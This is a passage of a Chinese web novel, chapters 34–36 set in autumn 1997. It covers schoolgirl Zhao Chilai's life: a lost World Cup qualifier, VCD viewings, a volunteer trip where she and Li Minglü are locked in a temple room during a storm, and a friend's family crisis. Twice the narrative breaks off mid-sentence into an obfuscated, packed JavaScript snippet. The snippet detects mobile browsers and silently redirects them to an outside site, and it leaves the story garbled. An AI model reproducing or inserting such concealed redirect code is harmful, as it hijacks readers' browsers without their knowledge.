赵迟来自然以为他说的“大家”只是股民而已,直到不久后看见有人蹲在菜市场门口捡别人不要的烂菜叶,才隐约感觉这场席卷整个东南亚的经济危机,其实和每个人息息相关。 当然,这种听都听不懂的国际大事用不着她一个高中生来操心,但那种能带动所有人情绪,能直观看见过程和结果的国际大事,就是另一回事了。 十月的最后一天,大家都在表哥梁辰家里一起看世界杯的预选赛。 赵迟来不太了解足球,但也知道这是国足在20世纪的最后一博。第六次冲击世界杯的关键局,对手是卡塔尔,一个小组赛倒数第一的弹丸小国。 开局咱们先入一球。 “国足最近的状态还可以啊。” “小小卡塔尔,不足为虑!” “就是,咱们这么多人,光气势就能取得压倒性的胜利!” 显然大家也是这么想的。 但这种势头并没有持续多久,因为防守线的李铁接连出现了几次传球失误。 观众台上的球迷山呼海啸,让把李铁换下来,屏幕前的张鑫和表哥也跟着在喊。 没多久人果然换了。 但情况并没有好转,相反防守越来越差,直到接连丢了三个球。 最后以2:3的成绩,兵败世界杯的大门前。 比赛结束时,赛场上乱成一团,大家都很久没有说话。 小午打破沉默:“哥哥,我们还有下一场吗?” 梁辰老神在在:“有吧……” “就差一点点!一点点啊一点点!”张鑫忍不住痛击地板。 “没事,今年的表现已经比之前任何一次都好了,下一届咱们肯定能进!”陈抑休一如既往乐观鼓励。 “也说不好这就是巅峰了,”黎明律摸着下巴,“我不太看好。” “……” 所有人都转过来,眼神带刀。 这时候的大家都对国足的未来抱有极大期待,虽然嘴上骂他们丢了比赛,但更多是恨铁不成钢。 后来没两年,国足以小组第一打入世界杯时,大家真的以为中国足球可以站起来,可谁都没有想到,那也是后来无法逾越的高峰,只不过是昙花一现。 34. 1997年秋 34 趁着表哥在家,赵迟来又把《葫芦娃》看了一遍。 看到葫芦娃为了救爷爷一个接一个投入蛇精炼丹炉的时候,忍不住抱住小午哭得稀里哗啦。 “呜呜!好痛哇——呜呜呜,我的心好痛……” 旁边坐着的张鑫和文思泉对视一眼,脸上是同款麻木。 “这都第几次了?” “每一次吧。” “你能理解吗?” “不理解。” 好不容易陪着看完大结局,张鑫如坐针毡提臀就想走。 “等会儿,我还想看《十二生肖》和《宇宙骑士》,你们再陪我看一会儿。” 和《葫芦娃》差不多,《十二生肖》也讲的是妖怪动物之间的悲情故事,凭借每集死一个动物和随机哭死一位小朋友的特性,倍受赵迟来青睐。 《宇宙骑士》讲的则是一个背负着责任和使命的宇宙骑士在战斗中觉醒与挣扎的故事,虽然和动物没关系,但也催泪得很。 “明明看不得这种苦情的东西,还非要看非要看,看又看不了还要拉人一起看,你没救了!” “李老师很快就会来,我下午有课也不能陪你看了……” 两人都没办法陪她再看下去,赵迟来只能含恨送他们走。 桌上放着两套光碟。 左边是《十二生肖》,右边是《宇宙骑士》,她左右点了好半天,还是没有决定先看哪个。 梁辰拎着袜子从屋里钻出来,打断了她的纠结:“那个什么我现在要走了,VCD你还看不看?不看我带走了。” 他边说边穿袜子,看起来很赶时间。 “啊?这么突然?” “搞钱要紧嘛,小午你记得带走,我就先走了。”他匆匆忙忙带上东西,但临走不忘交代小午两句。“听妈妈姐姐话啊,过段时间哥哥再回来。” “嗯嗯。”小午很不舍,跟着他走了一段路还不想回来。 赵迟来为了哄他,带他去张鑫家买棒棒糖,他看上了娃哈哈,没多久就抱着瓶子安静下来。 她松了口气,领着他往回走。 看了眼剩下的三瓶,抽出吸管直接从包装膜顶上扎进去,刚入口就露出和小午一样满足的表情。 “你们就看完了?”黎明律碰巧在院子里看书。 “VCD我哥带走了。”她含含糊糊回答。 “……”黎明律哦了一声,问,“那要在我这儿看吗?正好来了套新碟。”他家里也是有VCD的,应该说除了她和张鑫,他们家里都有。 “什么碟?” “动画版《悲惨世界》。” “是雨果的那本吗?什么时候出了动画?”这本原著她看过,当初就哭得稀里哗啦。 “嗯,早几年就有了,前段时间才出国语版。” 她当即来了兴趣,问小午要不要看。 小午点点头。 两人从巷子里出来就转去右边。 “慢慢!” 没走两步身后有人叫她。 陈抑休摇着两个盒子跑过来:“你要看碟吗?” “正要看呢,你买的什么?” 他微微扬唇,露出八颗牙齿的微笑:“《悲惨世界》!最近新上的,我一看名字就觉得你应该会喜欢。” “哎?这么巧吗?”这俩人居然都买了! “什么巧?还有谁也邀请你看了吗?”陈抑休虽然疑惑,眼神已经朝黎明律看过去,毕竟也没有别人了。 “嗯,我也买了,她正好没看过瘾。”黎明律坦然承认,放下书起身进屋。 赵迟来点点头。 “哦。” 陈抑休收回视线,看起来有点低落,“那没事,你们约好了就先看吧,我一个人看也可以。” 后面的声音很低,赵迟来没有听清楚,但看得出来他似乎因为晚来了一步有点遗憾。 两边都是一样的,和谁一起看呢? 习惯在小事上纠结的赵迟来这回决定得很爽快—— “那正好,咱们三个一起看吧!” “可以吗?”陈抑休倏然回头。 “当然!”她肯定道。 一旁的小午点了点头,又从吸管上抬头,伸出手指纠正道:“是四个,咱们四个姐姐。” “是的是的,四个!小午真厉害!”两人都正经摸了摸他的脑袋,大夸他数学好。 片子很好看。 画面制作精良,还多了些原著没有的东西。 结束出来的时候赵迟来脖子上戴了一圈耳机,顺的黎明律的。 她还有点意犹未尽。 “不知道图书馆还有没有这本原著,我都想再看一遍了。” “我这里有,跟我来就好了。” 她和陈抑休前后脚出来,黎明律抱着睡熟的小午跟在后面。 应下跟陈抑休回去拿书,到了院门口突然想起小午还没出来,猛然回头,和黎明律怼个正着。 “哎呀吓死我,你离这么近干嘛?”她边说边伸手来接。 “是你只顾看着前面,但凡回头看一眼呢?”他面无表情。 赵迟来嘴上是是是,转头就开始小声蛐蛐。 “要我帮你吗?”陈抑休问。 “不用,这才几斤?跟我那轮子比起来差远了!” 刚从院门出来,赵庆国提着一袋菜站在门口,望着这边不知道在那儿站了多久。 “你们……这是干嘛呢?”他抬了抬下巴。 “看电视呢,爸你今天这么早回来?”赵迟来实话实说。 “家里不有电视吗?别人家里的香一点?”他表情有点奇怪。 “……啊,但没有VCD啊,我们看碟呢。” 赵庆国嗫嚅片刻。 “作业写完了吗?” “写完啦。” “那咱俩练会儿。” “……哦。” 怪怪的。 今天梁惠白班,为了等她回来,吃饭推迟了一会儿。 新闻联播已经播完,电视里正放着天气预报之前的广告,是一款叫爱多的VCD。 赵庆国往嘴里塞了一口薄壳蛤蜊,沉默的嚼了一会儿,和梁惠商量:“老婆,咱家要不要也买台VCD?看着还不错。” 梁惠白了他一眼:“两千多一台,你一个月能挣两千多吗?” 赵庆国不说话了,赶紧扒了口饭。 赵迟来其实也挺想有台VCD的,方便不想看电视的时候随时看片。但这个提议自从被梁惠一口否决之后,赵庆国就没再提这茬儿。 没等她失落多久呢,一个好消息就在班里炸开锅。 “你听说了吗?秋游的事定了!” “真有?” “骗你我是狗!” “呵,狗他招谁惹谁了?” 她和张鑫还没说几句话呢,班主任就从后门走进来,两人赶紧端上。 “嗯哼,大家安静一下。” 班主任在台上清了清嗓子,所有人噤声抬头,“有个消息告诉大家。” 这个不同寻常的开头立刻让所有人兴致高涨,有人已经有所猜测开始抢答:“是不是秋……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411475|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没错!秋游定了!就在下周一!”她赶紧打断,丢下这个炸.弹。 话音刚落,教室里就爆发出剧烈的掌声! “我说什么来着?” 张鑫转头嘚瑟。 “别吵,还没说去哪儿呢,别又是去敬老院洗厕所。”赵迟来没他乐观。 大家争先恐后问起这个问题。 “今年咱们去哪儿?” “去个好玩的地方吧老师!” “哪里都可以,别让咱们洗厕所就行!” “高三了最后一次发发慈悲吧……” “安静!”班主任敲了敲讲台,“去哪里我也不知道……” “不可能!”“吁——” “因为我也是刚刚拿到手里。” “今年还是抓阄吗?” 她没有回答,神秘兮兮从兜里掏出一张皱巴巴的纸条。 大家越发沸腾,纷纷开始祈祷。 “哎,你希望去哪儿?”她问张鑫。 “我希望!”张鑫双手合十,虔诚祈祷,“去一个能看见雪山或者沙漠的地方,那里天气晴朗又狂风大作,空气中的负氧离子能将我的灵魂涤荡得一尘不染!” “……你可以今晚就梦这个。”她实在无语。 纸条被抢走了。 班主任在台上疯狂敲黑板。 直到纸上的答案被人念出来,空气仿佛突然被抽了真空—— “来了来了!” “咱们去!别吵!” “去……嗯?”念个开头表情就垮塌了一半,“去青龙观武术学校做义工?” 不知是谁的课本砸在地上,打断了令人窒息的沉默。 教室里哀声一片。 赵迟来摇了摇头,没有期待也就没有意外,是班里为数不多没有面露失落的人。她和文思泉遥遥相望,无奈耸了耸肩,继续背单词。 出发的时间在周一。 到了周日晚上,赵迟来才不紧不慢开始收行李。 这次的秋游时间一共三天半,从入观开始就没有什么自由活动,只在最后离开的傍晚有个篝火晚会,听说还可以烧烤,不过具体要看天气怎么样。 时间进入深秋,最近花城一带的降雨比较多。 考虑山上的气温更低,梁惠给她塞了一件比较厚的派克棉衣,既可以防风又可以保暖。 赵庆国回来的时候,她刚刚把箱子立起来。 “饭菜在锅里热着,你自己拿。”梁惠腰有点犯疼,打算早点回房休息,目光扫过一言不发的赵庆国,忽然停下。 赵迟来也发现不对。 赵庆国今天是背着手回来的,似乎藏了什么东西,再一看他的脸,隐约有点忐忑,脑子里当即警铃大作。 她轻手轻脚转身回房,一个反手把门锁了。 外头的说话声传进来。 “你后面藏什么东西?” “嘿嘿,一个小家电……” “拿来。” “喏。” “这是什么?” “步步高VCD。” “你原来知道啊?我还以为你瞎呢,这是能乱买的东西吗!” “啊!嘶……不是老婆你听我说,它它它它最近大降价!这不要两千多,我只花了1400准确说是1399!” “赵庆国!我看你是不想活了!!!” 一门之隔的屋里。 赵迟来优雅地戴上耳机,叮叮咣咣的喧闹声瞬间被隔绝在空气墙之外。 她轻轻按下播放按钮,随着刘德华醇厚的嗓音翩翩起舞。 35. 1997年秋 35 什么秋游? 去哪儿都逃不了做义工。 已经深具义工经验的赵迟来,从上车就开始睡。车上没有一个人说话,其他人都在养精蓄锐。 事实证明,赵迟来的做法是对的。 除了下车的时候分宿舍耽搁了一会儿时间,整个秋游过程压根没有一点喘息的余地—— 五点半起床,脑子还是懵的就开始早课,等到稍微清醒一点就开始打扫卫生整理内务,让武校孩子们感受家一般的温暖。 紧赶慢赶晒完被子,又到了做午饭的时候。在锅炉房里洗菜切菜一锅锅炒完煮好,人已经去了半条命。下午又有采摘除草施肥等等农活要干,活像连轴转的长工。 好容易挨到了傍晚,趁着晚课打瞌睡,还没眯一会儿晚饭又要开始准备。吃过饭已经八九点,又是一番收拾残局。 十点多回到宿舍,几乎每个人都成了一条馊掉的咸鱼。 来之前原本想找同样来这儿的黎明律他们班会一会,洗完澡根本没有一点力气,只想睡到天荒地老。 抛开这些不谈,两个班一个在观里,一个在隔壁学校,也没机会撞上。 总之,到最后一天晚上将要离开之前,他们和黎明律就没有碰上过一次。 好不容易结束最后一项采摘卸货任务,大家拖着疲惫的身躯往观景平台方向走,原定的篝火烤肉就在那边。 “太过分了吧那些芥蓝!掐一点给厨房做菜不就行了吗?结果居然开卡车来拉?真把我们当包身工啊?”张鑫累得气喘吁吁。 “得了吧,没让你把电风扇罩子拆下来一根根洗已经算饶你一命,那个才叫折磨人。”赵迟来热得直扇风。 “比起这个,掐芥蓝好像还蛮不错的。”文思泉擦了擦汗,也一头狼狈。 几人说话的时候,有位道长经过身边,瞥了眼他们若有所思,然后朝前头的班主任快步走过去。 “我去,他不会真想让我们洗电风扇吧?”张鑫大惊。 “看这情况多半没跑了。” “……” 赵迟来恨不得扇自己一巴掌,“我去阻止!” 三两步追上去,那道长果然在邀请他们再住一天。赵迟来心里冒火,差点就一拳抡上去,好在班主任拒绝了。 “孩子们学业繁重,实在不好再留,原本就计划打扰这几天,待会儿弄完篝火晚会咱们就得回去了。” “那确实不好勉强,只是看天色只怕等会儿会有雨下,篝火也烧不了多久,不如……”那道长犹不死心。 “那也得烧啊,累了好几天他们就盼这一顿呢!” 两人拉拉扯扯往广场走。 上了观景平台,这里已经聚了不少人,都开始准备烧烤的东西。 那道长终于图穷匕见:“我记得厨房的调料好像用完了,洋葱只怕不够咱们这次用的。” 班主任一愣:“啊?” “要不干脆别烤了下次再来吧,先把电风扇洗……” 赵迟来忍耐多时,眼见班主任要被唬住终于忍不住打断:“有的有的!洋葱有的!我们刚刚卸完货就在厨房仓库里放着!” 那道长被她大嗓门吓了一跳:“哦……那可能是我记错了,但调料确实没有了。” 赵迟来一拍胸口:“没事!这个咱们带了,就在大巴车上呢,现在就能拿过来!”说完皮笑肉不笑盯着他,只等他出下文。 班主任反应过来,赶紧叫住隔壁班的班主任,让他安排人去搬洋葱和调料,两班各出一个。 那道长欲言又止,虽然略有不甘瞪了赵迟来一眼,但终于没再说什么。 “哦好,那就班长过去吧班长!”隔壁班主任话音落下,正在点火的同学扭头应了一声。 “马上。”是黎明律。 紧接着赵迟来肩上一重,也收到班主任的指令:“咱们班就你去吧,那位第一名看起来不太能扛的样子。” 赵迟来指自己:“……我就很能扛吗?” 班主任张了张嘴:“抛开其他的不谈,单说体能恕我直言,和你相比在座的各位都是垃圾。” 赵迟来脑子里瞬间闪过《破坏之王》里的名场面,这部电影前两天才在晚自习放过。 “嗤……”她受不了,“好了好了,我去就是了。” 她假装不情不愿去找黎明律,实则心里还在反反复复播放那句“都是垃圾”,爽得不行。 后面跟上来的张鑫和文思泉也听清了个大概。 “还好没得逞,那道长什么人啊,就这种人品也能当道长?”张鑫一边吐槽一边拉着文思泉去旁边。 “你先去吧。”没想到文思泉挣开了。 “怎么了?” “我,”她看了一眼前面的赵迟来,眼神略显慌乱,“我问问慢慢需不需要帮忙,她累了一天了万一……” “行了,你别去就是最大的帮忙了!”张鑫朝她眨了眨眼,不由分说带着她就走。 “什么意思?”她感觉到他话里的不对劲。 张鑫看她皱着眉一脸茫然,纠结片刻说了句没事。文思泉压根不信,揪着他问原因。 没经住几下晃,张鑫就坚持不住:“好了好了,我告诉你,脑浆晃出来了祖宗!” 他理了理衣领,看向已经并肩离开的赵迟来两人,示意她附耳。 “你说不说?”文思泉一把抓住他领子。 “说什么说难道还不够明显吗?慢慢喜欢阿律!”他破罐子破摔,“你真是,我说你什么好,但凡你多看两眼他俩呢?” 文思泉似乎听见什么爆炸新闻,眼神凝滞下意识朝步道望过去。 两人距离并不近。 甚至赵迟来脸上还有明显的不耐烦,和以前没什么区别。但不同的是,这次看向黎明律时她嘴角微弯,眼里隐约藏着几分窃喜。 而黎明律呢? 他也冷着脸,甚至碰上有熟人经过时还会刻意拉开距离,可等人一走,他又能三两步跟上去。 虽然看不清他的脸,但文思泉已经能猜到黎明律的答案—— 他的靠近就是最明显的答案。 仿佛浑身的力气都被抽空,透支了一整天的身体终于在视线模糊后轰然倒下。 “哎?你听见什么声音没有?” 赵迟来回头,隐约看见人群聚在一起,但天色渐暗又看不太清楚。 “可能是唱歌吧。”黎明律也没看清。 “哦,我先回宿舍洗把脸,身上太脏了,你去厨房等我。”不远就是她宿舍,顺便换个衣服很方便。 “好,我先回停车场拿调料,在厨房等你。”他一口答应。 两人在岔道口分开,各自行事。 赵迟来回到宿舍洗了把脸犹觉得不够,又飞快擦洗了一下,换上干净衣服终于觉得好过一点。临走扫过摊在行李箱上的厚外套,犹豫了一下还是带上。 入了夜的山上还是挺冷的,热可以脱但冷了半路回来拿衣服就不方便了。 来到厨房,黎明律已经拖出一袋洋葱等着了。 “你怎没穿外套?晚上还是有点冷勒。”她自觉提起那袋洋葱。 “没带,也还好。”他阻止,把手里的调料袋子交给她,自己提起那袋洋葱。 “哦,你确实不怕冷。真不要我提这个?很重哦。” “没事,这点我可以。” 见他坚持,她也就不再说什么。 两人一边吐槽这次各自遭遇的酷刑,一边往来的方向走。 到一处岔路口的时候,赵迟来问他:“还能行吗?要不要换我?” 黎明律沉默了一会儿:“……我才是男的,慢慢。”或许他的本意是体恤她,但说出来的语气却总带着盔甲。 “哼,”赵迟来果然搬出自己的枪矛对付,“一般男的还比不过我呢。” 黎明律措辞片刻还想说什么,一大颗水啪嗒一声在他鼻尖上炸开。 “下雨了?” 赵迟来很快也有感觉:“还真是,我的妈还挺大的,那咱这个篝火还烧得起来吗?” “这个等会儿再说,我们先找个地方躲雨,这里离广场还有挺远,走过去肯定得淋湿了。”他抬起一只手挡在她头顶,眼睛四处搜寻。 “那边,我看那边有屋顶!”赵迟来指了指另一个岔道。 “那我们过去。” 来路是向上的,这条路是向下的,而且七弯八拐,看着近,其实也走了几分钟才到。 他们刚刚站进院门屋檐,雷声就轰隆而下,雨势跟着大了不少。 两人放下东西,在门槛上一站一坐,齐齐看着雨帘良久没有说话。 山里的夜晚本就冷,现在又是深秋又是下雨,风里不可避免带了点萧瑟的味道。 “你说这雨什么时候能停?”赵迟来伸手想接。 “别碰,弄湿了会很冷。”黎明律立刻拉回来。 “我穿了外套,才不冷呢。”她扯了扯自己身上的棉衣,回头再看看他单薄的衬衫,嘴里嘟囔,“冷的指不定是谁。” “我不冷,这样刚刚好。”他听见了。 赵迟来不再看他,四处打量。 这门连接的院子还挺大,一直有连廊通到后面的房屋,只是房屋都门窗紧闭,看不出到底是做什么的。 她又去看门帘,还真有块小牌匾,上面写着:青龙观不良教育中心。 这是什么地方? 也是武术学校的一部分吗?类似于犯错学生教导处? 树林沙沙,起了一阵强风。 赵迟来收回视线时,留意到黎明律单薄的衬衣领子被吹得左摇右晃。她想了想,提议:“咱们要不进去找个地方坐坐?看样子一时半会儿停不了。” 他垂眸凝视她片刻,点点头。 “有人吗?” “打扰一下。” “我们躲个雨。” “没有拒绝就当默认咯?” 两人试探着进门。 前厢的屋子都上了锁,赵迟来一间一间试探,锁都打不开,到了最里侧的那间,她已经不抱希望:“这个要是还不行,咱们就算了。” 结果刚说完,手里的锁就发出咔嗒一声。 “开了!”她兴奋。 立刻取下锁头,示意黎明律准备进去。 黎明律走到她身边,忽见她的手躲了一下。 “怎么了?”他立刻问。 “没事,应该是静电。”她甩了甩手不以为意。 房门很快打开,她摸到灯打开,朦朦胧胧不是很亮。 是一间很小的卧房。 和他们宿舍的差不多,只不过这里是单间,只有一张床一个床头柜。 “没有凳子,但床上可以坐。” 黎明律把床上的被褥掀开一个角,拍了拍床板:“坐吧。” 赵迟来:“……你还怪讲究的。” 或许是屋里空空荡荡,赵迟来并不觉得这里比外面暖和,反倒觉得更冷。 她和黎明律说了,他也这么觉得,两人一致同意回门口。 没想到才刚起来,就见外面闪过一道黑影,紧接着房门啪地一声关上,传来落锁的声音。 赵迟来当场就懵了。 黎明律第一时间想去开门,却晚了一步。 “有人在里面,我们只是来躲雨的,喂——” 没有人回应,外面很快就只剩下风吹的声音。 赵迟来终于反应过来被人锁屋里了,也跑过来开始敲门,但没一会儿就被黎明律叫停。 “没用的,是观里的道长。” “啊?”她猜测,“那个包工头道长?” “嗯。” “好好的他锁我们干什……”说到一半她想起来,“不是吧,就因为我搅了他洗电风扇的局,就这么报复我?” 黎明律没明白,她就把来之前发生的事给他说了一遍。 “哦,那他确实不会开门了。”他居然面露尘埃落定般的轻松。 “你怎么这么快就认命了?万一他一直不开门怎么办,至少得喊两声吧?” “他既然这么做就不会让人进来。” “那我去把门踹了。”她福至心灵。 “用不着,到时候他说一句误会咱们还得赔偿。” “这也不行那也不行,那你说怎么办?” “等老师他们发现不对,自然会来找我们,在此之前,蓄力待着就行了。”他又回到了床头坐着,还拍了拍旁边。 “……” 赵迟来认命坐回去。 但这回谁也没有说闲话的心情,各自沉默着目视前方。 外面的雨声越来越重,雷声闪电一阵快过一阵,赵迟来觉着,如果刚才没进来,这会儿在外面肯定也淋湿了。 这里虽然冷了一点,但至少雨淋不到。 不对啊,怎么越来越冷? 她穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422453|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着厚外套都觉得冷,黎明律就穿了件单衣岂不是…… 她转头想看看他怎么样,不看还好,一看他嘴巴都白了。 “哎不是,你冷怎么不吭声啊!”赵迟来慌了,连忙把床上的被子拉过来批他肩上,“快披上。” “不要,很脏。”他居然躲开。 “都什么时候了还这脏那脏,真冻死了找谁?还不是找我啊!”她强行给他披上。 他很快又挣脱开。 如此来回几次,对视僵持。 良久。 赵迟来没了脾气,狠狠举起食指点了点,脱下自己的外套丢给他。 “你穿我的,我披着行了吧!”说罢拉上被子自己拱进去。 黎明律抓着她还留有余温的外套,张了张嘴似乎有话要说,但赵迟来别着脸压根不理他,也就咽回去。 他把外套披在了肩上。 又沉默了一阵雨的时间。 他忽然开口:“我记得……小学三年级,也有过一回类似的情况。” 赵迟来闻声下意识开始回想,片刻找到点碎片:“你来的第二年吗?” 他点头,焦距落在门上,也似乎在门外。 “也是秋游,天气比今天还冷一点,你们都没带多余的外套。” “明明是大家都不愿意借给你,还挺会给自己找借口啊。”她撇撇嘴。 “那你为什么愿意?”他转头。 “我也不愿意啊,是我妈非让我跟你打好关系,两个人躲一件外套根本遮不住风好吗?吹得我人都傻了!当时我就发誓这种事这辈子绝不干第二次。”想起来她都感觉自己更冷了。 “阿姨?”他眨了眨眼,看起来有点意外。 “对啊,你刚来不就成了年级第一吗?我妈没多久就交代我要和你多玩一玩,什么沾沾你的考试运,后来发现和运气没关系你是纯靠实力,她更加变本加厉让我讨好你和你玩,”想起那些过往,赵迟来就直摇头,“真该让她自己试试,和你打交道是一件多么痛苦的事。” 听她这么吐槽自己,黎明律不乐意了:“和你打交道也不见得舒服到哪儿去,明明说好的写作业,一下要去抓青蛙,一下要去种树,还有逃课吃东西陪你玩游戏……” 赵迟来迫不及待打断:“什么啊,我哪有拉你们逃课?最多早退过几次吧!” “嗯哼,几次。”他面无表情。 “……”她心虚,不敢和他对视,“小肚鸡肠,就知道翻旧账。” “不该翻吗?甚至有一次还把我推进沟里,磕得头破血流。” 这个事儿…… 这个事儿还真有。 她无从抵赖:“我那不是还小,手脚没轻重吗?要知道你那么不经推,肯定不会推的。” 他冷笑:“是吗,之后好像也没少揍我吧。” “你说你这人!只知道挑我不好的说,我明明也有过很关心你甚至保护你的时候好吧!”她据理力争,“那时候高年级的几个胖子经常找你麻烦,还不是,还不是我替你摆平的!就知道说我说我!” 她又嘀嘀咕咕了好一会儿,不乐意被当面揭短。“人不行怪路不平,从来不在自己身上找问题……” 黎明律咽了咽,似乎被她戳中要害,一时没有反驳。 赵迟来瞥了眼他不算好的脸色,也觉得不能把事情搞得太难看,于是扭过来一点:“那个……你头上的疤还在不在?给我看看。” 他头上的疤,就是被她推沟里那次磕出来的。 她动手去掀他的刘海,被他躲过去。 匆匆一瞥,她看见一块指甲壳大小的白痕,心里也有点不是滋味。 “哎,你一直留长刘海,就是为了遮它对不对?” 黎明律不说话。 她又问:“那它要是一辈子不消失,你会为了它留一辈子长发吗?” 他耐着性子:“没有特意留,只是习惯了。” 赵迟来看他愿意说话心里轻了不少,不免得寸进尺:“我觉得你可以试试剪短发,就那种把额头都露出来的短发,那个肯定更好看。” 他无奈退后:“我不需要更好看,现在就很好。” “那你不想把这条疤露出来吗?” “我为什么要特意露出来?”他莫名其妙。 “因为它是你的勋章啊!勋章!勇敢的勋章,毕竟可是流了好多血呢!” “?” “勋章当然可以大大方方露出来啊!这么想是不是就觉得不讨厌了?” 她目色晶亮,还带着无法忽视的热气,在昏暗的室内尤其耀眼,就像……就像从瓶子里钻出来的海妖。 嘴巴一张,满足他的愿望。 嘴巴一闭,他的愿望就实现了。 黎明律忽然扭头,仿佛被什么东西烫得不轻,耳廓沸腾得几乎快要烧开。他拉起肩上的外套盖过脖颈,不知道嘴里在说什么。 “我没剪过这么短,不知道怎么这么短……” “不用你自己动手啊,交给我就好了!”赵迟来钻出被子拍了拍自己,“一休哥的那个头就是我和阿嬷一起剪的!你觉得好看的话我也可以给你剪个一模一样的!” 他吸了口气,眼神恢复平静:“阿休的头是你剪的?” “当然了!剪出来都说好看,他可喜欢了!”她简直骄傲得像个孔雀。 黎明律凝眸,措辞片刻终于点了点头:“好,但我要不一样的。” 赵迟来一口答应:“安排!给你稍微留长一点点。” 既然达成一致,刚下的不愉快也就都翻篇了,两人继续回忆过去,没多久赵迟来突然想起什么开始畅想未来:“哎对了,你有想过以后做什么吗?” 黎明律微微一愣,虽然疑惑,但还是果断说出自己的回答:“想做出一款……类似能连通所有人房间号的软件吧。” 他这么说,赵迟来一下就懂了。 “哦——” “真好。” 紧接着她又感叹,“我还没想好呢。” “时候没到而已,退一万步,就算没什么想做的也没关系,我可以……”说到一半对上她清澈无波的眼睛,他突然打住。 “嗯?”她眨了眨示意他继续。 “没什么,”他起身走向门口,“我好像听见有人在叫你。” 外面的雨不知道什么时候变小了,隐约有不少人的呼喊顺着凉风吹下来。 果然老师来找他们了! 36. 1997年秋 36 秋游结束,天气又放晴了。 花城就是这样,这个没有冷酷冬天的城市一年大多数时间都很晴朗。但并不意味着秋冬就和春夏一样和暖。 赵迟来打了个喷嚏,顶着昏昏沉沉的脑袋走出院门。 托昨天那场雨的福,她感冒了,这还是她今年第一次感冒,那种久违的无力和说不出的难受让她看起来变得慢吞吞。 既然已经注定要迟到,她干脆不挣扎了,任由自己慢慢走过去。 走着走着赶上一个人—— 文思泉背着包走得比她还慢,头发也难得乱糟糟的,整个人看起来有些颓废。 “思泉?你今天怎么也这么晚?”她像往常一样打招呼。 文思泉闻声停下,露出一双又肿又黑的眼睛,没有说话。 “嗯?你昨晚没睡好吗?” “……” “该不会也跟我一样感冒了?看起来傻傻的。”她摇摇头,牵起她的手一起走。 沉默良久的文思泉忽然有了动作,从她手里挣脱出来。 赵迟来终于察觉她有点不对劲。 “怎么了思泉,是谁惹你不开心了吗?” 文思泉看着她的眼睛,嘴唇紧抿,脸上闪过一丝挣扎。 “有什么事你告诉我,要是有谁欺负你我帮你出气!”赵迟来关切道,“你不要害怕,也不要一个人闷在心里,只要是问题就会有解决……” “没事。” 文思泉突然打断。 说完觉得过于生硬,又微微提唇扯出一个微笑,“我没事。” “没事为什么会这个样子?”赵迟来压根不信。 “那是因为……”她话到嘴边似乎难以启齿,几次咽下去,“昨天我爸电话说……想把他老婆和儿子带回来……” “啊?” 赵迟来没想到她爸居然真的连脸都不要了,但话肯定不能这么说,“他怎么敢的?” “为了逼我妈回来,他有什么不敢?”她转头和赵迟来并肩往前走,看起来已经好了很多。 “要不你搬来我家住吧,可以和我睡!” “还是你搬过来比较好,万一他老婆和我打起来……” 两人一边说话一边走,和往常并没有什么不同。 为了以防万一,接下来几天赵迟来陪文思泉频繁出入老街市场,淘到不少防身的东西。 也遇到过几次张鑫。 这家伙从秋游回来越发变本加厉,翘课成了常态,好几次看见他都和一帮花臂凑在一起抽烟。 书包里的作业本挤在角落,皱巴巴团成一团,每次跑路之前都会掏出来递到赵迟来面前,意思很明显。 赵迟来帮忙应付了几次,现在是非常不想接。 虽然抄作业这种事她轻车熟路了,但主动和被动真的心情完全不一样。 “你也不想你抄一休哥作业的事被你妈发现吧。”每当她露出一点不耐烦,他就会贱兮兮威胁。 所以再次看见这家伙和那群人鬼混在一起,她真是一眼都不想多看,拉过文思泉就往回走。 路过三岔口的时候,有人在派发传单。 赵迟来气鼓鼓接过,随便扫了一眼标题:一个月戒断网瘾!未来前程似锦! 以为又是什么补习班的宣传广告,顿时没了兴趣,但也不好乱丢,等回到家里才随手丢在桌上。 临近傍晚的时候,赵迟来在院子练拳,章阿兰端着一盆小炸鱼过来。 “哟,慢慢练拳呢?” “嗯!”她手上没停。 “你妈在家吗?” “没有,今天晚班。您找她有事吗?” “没事,给你们带了点小鱼!” 赵迟来立刻收势来接,被她扇回去:“你练你的,我自己放桌上去。” 她熟门熟路进屋。 过了一会儿出来,并没有马上回去,而是问:“慢慢,上次你们秋游我记得去的是青龙观吧?” “对啊,去了两个班。” “你感觉那儿怎么样?” “……”赵迟来琢磨了一下,“很累,压根不给人休息,但挺清静的。” “哦哦,那就好。”她仿佛随口一问,很快就转到对面,“这几天怎么都没看见阿休啊?” “一休哥啊,他前天出发去了北京,参加什么什么会。”她想不起来。 “他一个人?” “好像是,到了那边会有人接他。” “哦,这孩子出息。”章阿兰已经走出去,“好了,你爸回来跟他说一声,别忘记了用碗罩着呢!” 赵迟来当然没有忘记。 赵庆国一回来她就说了,等到吃饭的时候那碗小鱼就放在桌子正中呢。 “咦?” 吃到一半,她脑子里隐约闪过一条暗光。 “怎么了?”赵庆国问。 “总觉得桌上不止这么点东西,但又不记得是什么,可能我记错了。” 赵庆国不以为意:“水电发票吧,我刚给收了。” 赵迟来没再纠结,吃完饭准备回房。 赵庆国端起那碗留出来的饭菜起身,看样子要出门。 “那不是给妈留的吗?” “啊?不是,你妈今天不回来,这给阿休的。” “……他不是去北京了?”赵迟来一脸疑惑。 